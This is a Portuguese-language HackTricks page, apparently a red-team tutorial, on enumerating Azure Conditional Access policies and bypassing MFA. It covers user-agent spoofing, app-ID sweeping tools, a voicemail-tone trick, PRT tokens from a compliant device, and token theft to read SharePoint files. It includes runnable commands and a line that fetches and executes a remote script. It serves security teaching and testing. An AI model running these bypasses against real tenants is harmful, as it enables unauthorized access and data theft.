Az - Conditional Access Policies & MFA Bypass
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Informações Básicas
Azure Conditional Access policies são regras definidas no Microsoft Azure para aplicar controles de acesso a serviços e aplicações do Azure com base em certas condições. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso certos nas circunstâncias corretas.
As Conditional Access policies basicamente definem Quem pode acessar O quê de Onde e Como.
Aqui estão alguns exemplos:
- Sign-In Risk Policy: Essa política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum comparado ao seu padrão regular, como fazer login a partir de outro país, o sistema pode solicitar autenticação adicional.
- Device Compliance Policy: Essa política pode restringir o acesso a serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso poderia ser permitido apenas a partir de dispositivos que possuam antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.
Enumeração
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Políticas de Acesso Condicional Bypasses
É possível que uma política de acesso condicional esteja verificando algumas informações que podem ser facilmente adulteradas permitindo um bypass da política. E, por exemplo, se a política estivesse configurando MFA, o atacante será capaz de contorná-la.
Ao configurar uma política de acesso condicional é necessário indicar os usuários afetados e os recursos alvo (como todas as cloud apps).
Também é necessário configurar as condições que irão acionar a política:
- Network: IP, IP ranges e localizações geográficas
- Pode ser contornado usando uma VPN ou Proxy para conectar a um país permitido ou conseguindo fazer login a partir de um endereço IP permitido
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Any device” não estiver selecionado mas todas as outras opções estiverem, é possível bypassar isso usando um user-agent aleatório não relacionado àquelas plataformas
- Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
- Para bypassar, efetuar login com uma opção não selecionada
- Filter for devices: É possível gerar uma regra relacionada ao dispositivo usado
- Authentication flows: Options are “Device code flow” and “Authentication transfer”
- Isso não afetará um atacante a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima
Os possíveis resultados são: Bloquear ou Conceder acesso com potenciais condições como exigir MFA, dispositivo estar em conformidade…
Plataformas de Dispositivo - Condição do Dispositivo
É possível definir uma condição baseada na plataforma do dispositivo (Android, iOS, Windows, macOS…), entretanto isso se baseia no user-agent, então é fácil de contornar. Mesmo forçando MFA em todas as opções, se você usar um user-agent que não seja reconhecido, você conseguirá bypassar o MFA ou o bloqueio:
.png)
Basta fazer o browser enviar um user-agent desconhecido (como Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) para não acionar essa condição.
Você pode mudar o user agent manualmente nas ferramentas do desenvolvedor:
.png)
Ou use uma browser extension like this one.
Localizações: Países, intervalos de IP - Condição do Dispositivo
Se isso estiver definido na política condicional, um atacante poderia simplesmente usar uma VPN no país permitido ou tentar encontrar uma forma de acessar a partir de um endereço IP permitido para contornar essas condições.
Cloud Apps
É possível configurar políticas de acesso condicional para bloquear ou forçar, por exemplo, MFA quando um usuário tenta acessar um app específico:
.png)
Para tentar bypassar essa proteção você deve verificar se consegue efetuar login em qualquer aplicação.
A ferramenta AzureAppsSweep tem tens de application IDs hardcoded e tentará efetuar login neles, informando e até fornecendo o token se for bem-sucedida.
Para testar application IDs específicos em recursos específicos você também pode usar uma ferramenta como:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Além disso, também é possível proteger o método de login (por exemplo, se você está tentando fazer login a partir do navegador ou de um aplicativo desktop). A ferramenta Invoke-MFASweep realiza alguns cheques para tentar contornar essas proteções também.
A ferramenta donkeytoken também pode ser usada para propósitos semelhantes, embora pareça não mantida.
A ferramenta ROPCI também pode ser usada para testar essas proteções e ver se é possível contornar MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva whitebox. Primeiro você precisa baixar a lista de Apps permitidos no tenant e então ela tentará fazer login neles.
Outros Az MFA Bypasses
Toque
Uma opção do Azure MFA é receber uma chamada no número de telefone configurado, onde será pedido ao usuário para enviar o caractere #.
Caution
Como os caracteres são apenas tons, um atacante poderia comprometer a mensagem de voicemail do número de telefone, configurar como mensagem o tom de
#e então, ao solicitar o MFA, certificar-se de que o telefone da vítima esteja ocupado (ligando para ele) para que a chamada do Azure seja direcionada para a caixa postal.
Dispositivos em conformidade
As políticas frequentemente exigem um dispositivo em conformidade ou MFA, então um atacante poderia registrar um dispositivo em conformidade, obter um token PRT e contornar o MFA dessa forma.
Comece registrando um dispositivo em conformidade no Intune, então obtenha o PRT com:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Encontre mais informações sobre este tipo de ataque na seguinte página:
Az - Primary Refresh Token (PRT)
Ferramentas
AzureAppsSweep
Este script obtém algumas credenciais de usuário e verifica se consegue fazer login em algumas aplicações.
Isto é útil para verificar se você não é obrigado a usar MFA para fazer login em algumas aplicações que pode mais tarde abusar para escalar privilégios.
roadrecon
Obtém todas as políticas
roadrecon plugin policies
Invoke-MFASweep
MFASweep é um script PowerShell que tenta fazer login em diversos serviços Microsoft usando um conjunto de credenciais fornecidas e tentará identificar se o MFA está habilitado. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifator estão configuradas, alguns protocolos podem acabar ficando com apenas um fator. Ele também possui uma verificação adicional para configurações ADFS e pode tentar fazer login no servidor ADFS on-prem se detectado.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Esta ferramenta ajudou a identificar bypasses de MFA e depois abusar de APIs em múltiplos tenants AAD de produção, onde clientes AAD acreditavam ter MFA imposta, mas a autenticação baseada em ROPC teve sucesso.
Tip
Você precisa ter permissões para listar todas as aplicações para poder gerar a lista de apps a brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token é um conjunto de funções que tem como objetivo ajudar consultores de segurança a validar Conditional Access Policies, testar portais Microsoft com 2FA habilitado, etc..
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Teste cada portal para verificar se é possível fazer login sem MFA:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Como o Azure portal não é restrito, é possível coletar um token do endpoint do portal para acessar qualquer serviço detectado pela execução anterior. Neste caso, Sharepoint foi identificado e um token para acessá-lo é solicitado:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não possa acessar o Sharepoint pela web por causa do MFA, é possível usar o token para acessar os arquivos com o token gerado:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Referências
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

